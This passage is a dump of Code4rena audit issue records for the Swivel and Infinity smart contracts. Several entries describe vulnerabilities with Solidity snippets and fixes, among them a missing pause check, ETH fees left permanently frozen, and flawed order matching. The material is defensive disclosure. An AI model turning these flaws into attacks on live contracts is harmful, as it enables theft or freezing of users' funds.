"sponsor confirmed"], "target": "2022-07-swivel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-swivel/blob/main/Marketplace/MarketPlace.sol#L148 # Vulnerability details ## Impact Due to missing modifier, User will be able to redeem zcTokens and withdraw underlying even in paused Market. This happens due to missing unpaused(p) modifier ## Proof of Concept 1. Lets see function definition for authRedeem function ``` function authRedeem(uint8 p, address u, uint256 m, address f, address t, uint256 a) public authorized(markets[p][u][m].zcToken) returns (uint256 underlyingAmount) ``` 2. Observe that unpaused(p) modifier is missing 3. This means if Marketplace is placed under paused state by Admin, then also User can call authRedeem at Marketplace via withdraw/redeem at ZcToken contract. 4. This will allow Users to withdraw in paused state which is incorrect ## Recommended Mitigation Steps Add unpaused(p) modifier in authRedeem function ``` function authRedeem(uint8 p, address u, uint256 m, address f, address t, uint256 a) public authorized(markets[p][u][m].zcToken) unpaused(p) returns (uint256 underlyingAmount) { ... } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/62", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/61", "labels": ["bug", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/59", "labels": ["bug", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/48", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/47", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/46", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/45", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/44", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": " Mismatch in `withdraw()` between Yearn and other protocols can prevent Users from redeeming zcTokens and permanently lock funds", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/43", "labels": ["bug", "3 (High Risk)", "resolved"], "target": "2022-07-swivel-findings", "body": " Mismatch in `withdraw()` between Yearn and other protocols can prevent Users from redeeming zcTokens and permanently lock funds"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)", "resolved"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/41", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/40", "labels": ["bug", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Interface definition error", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/39", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-07-swivel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/Marketplace/Interfaces.sol#L52 https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/Marketplace/MarketPlace.sol#L164 https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/Swivel/Swivel.sol#L620 https://github.com/Swivel-Finance/gost/blob/a76ac859df049527c3e5df85e706dec6ffa0e2bb/test/swivel/Swivel.sol#L10 # Vulnerability details ## Impact MarketPlace.authRedeem() call interface ISwivel.authRedeem() but Swivel contract does not have this method only method \"authRedeemZcToken()\" The result will cause MarketPlace.authRedeem() to fail forever, thus causing ZcToken.withdraw() to fail forever ## Proof of Concept MarketPlace.sol call ISwivel.authRedeem() ``` function authRedeem(uint8 p, address u, uint256 m, address f, address t, uint256 a) public authorized(markets[p][u][m].zcToken) returns (uint256 underlyingAmount) { ..... ISwivel(swivel).authRedeem(p, u, market.cTokenAddr, t, a); ..... } else { ..... ISwivel(swivel).authRedeem(p, u, market.cTokenAddr, t, amount); .... } ``` Swivel.sol does not have authRedeem() ,only authRedeemZcToken() ``` function authRedeemZcToken(uint8 p, address u, address c, address t, uint256 a) external authorized(marketPlace) returns(bool) { // redeem underlying from compounding if (!withdraw(p, u, c, a)) { revert Exception(7, 0, 0, address(0), address(0)); } // transfer underlying back to msg.sender Safe.transfer(IErc20(u), t, a); return (true); } ``` ## Tools Used ## Recommended Mitigation Steps Swivel contract need declare \"is ISwivel\" and change method name Other contracts should also declare \"is Iinterfacename\" to avoid method name errors like IMarketPlace "}, {"title": "Lack of validation when calculating premiumFilled can cause undesirable interactions", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "wontfix"], "target": "2022-07-swivel-findings", "body": "Lack of validation when calculating premiumFilled can cause undesirable interactions"}, {"title": "VaultTracker has the wrong admin", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/36", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-07-swivel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-swivel/blob/main/Marketplace/MarketPlace.sol#L77 https://github.com/code-423n4/2022-07-swivel/blob/main/Creator/Creator.sol#L41 https://github.com/code-423n4/2022-07-swivel/blob/main/VaultTracker/VaultTracker.sol#L32 # Vulnerability details ## Description `MarketPlace.createMarket()` calls `Creator.create()` which creates an instance of `ZcToken` and a `VaultTracker`. `VaultTracker` takes `msg.sender` as the admin. We know that if contract A calls contract B which calls contract C, `msg.sender` in contract C is the address of B i.e. the `msg.sender` in VaultTracker is the address of the creator contract. However, the creator contract is not able (and not supposed to) interact with the VaultTracker unlike the marketplace contract. ## Tools used Manual analysis ## Recommended Mitigation Steps Modify the constructor of the VaultTracker contract so that the creator contract can pass in msg.sender (MarketPlace\u2019s address) to be used as admin. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "ZcToken.withdraw will send user 0 tokens if called after maturity deadline but before market is set mature", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/32", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-07-swivel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/Tokens/ZcToken.sol#L99 https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/Tokens/ZcToken.sol#L92 # Vulnerability details ## Impact If `maturityRate` is still `0` after maturity deadline (because no transactions setting `maturityRate` have been executed yet), then `previewWithdraw` calculated amount (used by `ZcToken.withdraw` function) is `0` and thus `withdraw` function will send `0` underlying tokens to user, which might be very confusing to user. Subsequent call to the same function will send him correct amount. The same problem applies to all view functions in `ZcToken` contract - they use saved market `maturityRate`, which can be `0` even past deadline time and functions revert or return `0` in this case. Incorrect withdrawal behaviour: 1. Bob has some `ZcToken`s. 2. Right at the time of maturity Bob tries to withdraw his underlying tokens by calling `ZcToken.withdraw` with some underlying amount. 3. Instead of receiving corresponding amount, Bob receives nothing (but transaction still succeeds and he uses gas for it). ## Proof of Concept 1. `withdraw`: calculates `previewAmount` from `previewWithdraw` https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/Tokens/ZcToken.sol#L99 2. `previewWithdraw`: multiplication by `maturityRate` returns 0 https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/Tokens/ZcToken.sol#L92 ## Recommended Mitigation Steps Add `getMaturityRate` function to `ZcToken`, which will return either market's `maturityRate` or (if it's `0`) current market's `exchangeRate`. Use this function instead of `maturityRate` everywhere across `ZcToken`. "}, {"title": "Yearn vault integration is broken", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/29", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "old-submission-method"], "target": "2022-07-swivel-findings", "body": "Yearn vault integration is broken"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/27", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "should use >= instead of >", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/21", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-07-swivel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/VaultTracker/VaultTracker.sol#L86 https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/VaultTracker/VaultTracker.sol#L158 # Vulnerability details ## should use >= instead of > ### description https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/VaultTracker/VaultTracker.sol#L86 https://github.com/code-423n4/2022-07-swivel/blob/fd36ce96b46943026cb2dfcb76dfa3f884f51c18/VaultTracker/VaultTracker.sol#L158 the comparison should be 'a >= vlt.notional' instead of a > vlt.notional otherwise dust amounts will always be left in vlt.notional when calling `removeNotional()` or `transferNotionalFrom()` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/19", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "wontfix"], "target": "2022-07-swivel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/18", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/17", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/2", "labels": ["bug", "duplicate", "G (Gas Optimization)", "wontfix"], "target": "2022-07-swivel-findings", "body": "Gas Optimizations"}, {"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-07-swivel-findings/issues/1", "labels": [], "target": "2022-07-swivel-findings", "body": "Agreement & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/356", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/355", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/353", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/351", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/349", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/348", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "ETH mistakenly sent over with ERC20 based takeOrders and takeMultipleOneOrders calls will be lost", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/346", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L323-L327 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L359-L363 # Vulnerability details takeOrders() and takeMultipleOneOrders() are the main user facing functionality of the protocol. Both require `currency` to be fixed for the call and can have it either as a ERC20 token or ETH. This way, the probability of a user sending over a ETH with the call whose `currency` is a ERC20 token isn't negligible. However, in this case ETH funds of a user will be permanently lost. Setting the severity to medium as this is permanent fund freeze scenario conditional on a user mistake, which probability can be deemed high enough as the same functions are used for ETH and ERC20 orders. ## Proof of Concept Both takeOrders() and takeMultipleOneOrders() only check that ETH funds are enough to cover the order's `totalPrice`: https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L323-L327 ```solidity // check to ensure that for ETH orders, enough ETH is sent // for non ETH orders, IERC20 safeTransferFrom will throw error if insufficient amount is sent if (isMakerSeller && currency == address(0)) { require(msg.value >= totalPrice, 'invalid total price'); } ``` https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L359-L363 ```solidity // check to ensure that for ETH orders, enough ETH is sent // for non ETH orders, IERC20 safeTransferFrom will throw error if insufficient amount is sent if (isMakerSeller && currency == address(0)) { require(msg.value >= totalPrice, 'invalid total price'); } ``` When `currency` is some ERC20 token, while `msg.value > 0`, the `msg.value` will be permanently frozen within the contract. ## Recommended Mitigation Steps Consider adding the check for `msg.value` to be zero for the cases when it is not utilized: ```solidity // check to ensure that for ETH orders, enough ETH is sent // for non ETH orders, IERC20 safeTransferFrom will throw error if insufficient amount is sent if (isMakerSeller && currency == address(0)) { require(msg.value >= totalPrice, 'invalid total price'); } else { require(msg.value == 0, 'non-zero ETH value'); } ``` "}, {"title": "Owner can set arbitrarily high `InfinityStaker` penalties and steal funds", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/345", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "Owner can set arbitrarily high `InfinityStaker` penalties and steal funds"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/336", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/334", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/333", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/330", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/329", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/327", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/325", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/324", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/323", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "DOS If the check in `matchOrders` fails", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/321", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "DOS If the check in `matchOrders` fails"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/320", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/313", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/311", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/309", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/303", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/300", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/299", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/298", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/297", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Accumulated ETH fees of InfinityExchange cannot be retrieved", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/296", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1228-L1232 # Vulnerability details ETH fees accumulated from takeOrders() and takeMultipleOneOrders() operations are permanently frozen within the contract as there is only one way designed to retrieve them, a rescueETH() function, and it will work as intended, not being able to access ETH balance of the contract. Setting the severity as high as the case is a violation of system's core logic and a permanent freeze of ETH revenue of the project. ## Proof of Concept Fees are accrued in user-facing takeOrders() and takeMultipleOneOrders() via the following call sequences: ``` takeOrders -> _takeOrders -> _execTakeOrders -> _transferNFTsAndFees -> _transferFees takeMultipleOneOrders -> _execTakeOneOrder -> _transferNFTsAndFees -> _transferFees ``` While token fees are transferred right away, ETH fees are kept with the InfinityExchange contract: https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1119-L1141 ```solidity /** * @notice Transfer fees. Fees are always transferred from buyer to the seller and the exchange although seller is the one that actually 'pays' the fees * @dev if the currency ETH, no additional transfer is needed to pay exchange fees since the contract is 'payable' * @param seller the seller * @param buyer the buyer * @param amount amount to transfer * @param currency currency of the transfer */ function _transferFees( address seller, address buyer, uint256 amount, address currency ) internal { // protocol fee uint256 protocolFee = (PROTOCOL_FEE_BPS * amount) / 10000; uint256 remainingAmount = amount - protocolFee; // ETH if (currency == address(0)) { // transfer amount to seller (bool sent, ) = seller.call{value: remainingAmount}(''); require(sent, 'failed to send ether to seller'); ``` I.e. when `currency` is ETH the fee part of the amount, `protocolFee`, is left with the InfinityExchange contract. The only way to retrieve ETH from the contract is rescueETH() function: https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1228-L1232 ```solidity /// @dev used for rescuing exchange fees paid to the contract in ETH function rescueETH(address destination) external payable onlyOwner { (bool sent, ) = destination.call{value: msg.value}(''); require(sent, 'failed'); } ``` However, it cannot reach ETH on the contract balance as `msg.value` is used as the amount to be sent over. I.e. only ETH attached to the rescueETH() call is transferred from `owner` to `destination`. ETH funds that InfinityExchange contract holds remain inaccessible. ## Recommended Mitigation Steps Consider adding contract balance to the funds transferred: ```solidity /// @dev used for rescuing exchange fees paid to the contract in ETH function rescueETH(address destination) external payable onlyOwner { - (bool sent, ) = destination.call{value: msg.value}(''); + (bool sent, ) = destination.call{value: address(this).balance}(''); require(sent, 'failed'); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/294", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/291", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/290", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/289", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Wrong stake level calculation", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/285", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "Wrong stake level calculation"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/284", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "No limits for updatePenalties and lack of event emission in a critical function", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/281", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "No limits for updatePenalties and lack of event emission in a critical function"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/280", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/279", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/278", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/274", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/273", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/270", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/268", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/267", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/266", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/265", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/263", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/262", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "The userMinOrderNonce can be set arbitrarily with cancelAllOrders().", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/260", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "The userMinOrderNonce can be set arbitrarily with cancelAllOrders()."}, {"title": "Protocol fee rate can be arbitrarily modified by the owner and the new rate will apply to all existing orders", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/259", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "Protocol fee rate can be arbitrarily modified by the owner and the new rate will apply to all existing orders"}, {"title": "Maker order buyer is forced to reimburse the gas cost at any `tx.gasprice`", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/257", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "Maker order buyer is forced to reimburse the gas cost at any `tx.gasprice`"}, {"title": "Unsmooth price change due to unnecessary precision loss can cause user's order to be settled in non-optimal price", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/255", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "Unsmooth price change due to unnecessary precision loss can cause user's order to be settled in non-optimal price"}, {"title": "Maker buy order with no specified NFT tokenIds may get fulfilled in `matchOneToManyOrders` without receiving any NFT", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/254", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L68-L116 # Vulnerability details The call stack: matchOneToManyOrders() -> _matchOneMakerSellToManyMakerBuys() -> _execMatchOneMakerSellToManyMakerBuys() -> _execMatchOneToManyOrders() -> _transferMultipleNFTs() Based on the context, a maker buy order can set `OrderItem.tokens` as an empty array to indicate that they can accept any tokenId in this collection, in that case, `InfinityOrderBookComplication.doTokenIdsIntersect()` will always return `true`. However, when the system matching a sell order with many buy orders, the `InfinityOrderBookComplication` contract only ensures that the specified tokenIds intersect with the sell order, and the total count of specified tokenIds equals the sell order's quantity (`makerOrder.constraints[0]`). This allows any maker buy order with same collection and `empty tokenIds` to be added to `manyMakerOrders` as long as there is another maker buy order with specified tokenIds that matched the sell order's tokenIds. https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L68-L116 ```solidity function canExecMatchOneToMany( OrderTypes.MakerOrder calldata makerOrder, OrderTypes.MakerOrder[] calldata manyMakerOrders ) external view override returns (bool) { uint256 numItems; bool isOrdersTimeValid = true; bool itemsIntersect = true; uint256 ordersLength = manyMakerOrders.length; for (uint256 i = 0; i < ordersLength; ) { if (!isOrdersTimeValid || !itemsIntersect) { return false; // short circuit } uint256 nftsLength = manyMakerOrders[i].nfts.length; for (uint256 j = 0; j < nftsLength; ) { numItems += manyMakerOrders[i].nfts[j].tokens.length; unchecked { ++j; } } isOrdersTimeValid = isOrdersTimeValid && manyMakerOrders[i].constraints[3] <= block.timestamp && manyMakerOrders[i].constraints[4] >= block.timestamp; itemsIntersect = itemsIntersect && doItemsIntersect(makerOrder.nfts, manyMakerOrders[i].nfts); unchecked { ++i; } } bool _isTimeValid = isOrdersTimeValid && makerOrder.constraints[3] <= block.timestamp && makerOrder.constraints[4] >= block.timestamp; uint256 currentMakerOrderPrice = _getCurrentPrice(makerOrder); uint256 sumCurrentOrderPrices = _sumCurrentPrices(manyMakerOrders); bool _isPriceValid = false; if (makerOrder.isSellOrder) { _isPriceValid = sumCurrentOrderPrices >= currentMakerOrderPrice; } else { _isPriceValid = sumCurrentOrderPrices <= currentMakerOrderPrice; } return (numItems == makerOrder.constraints[0]) && 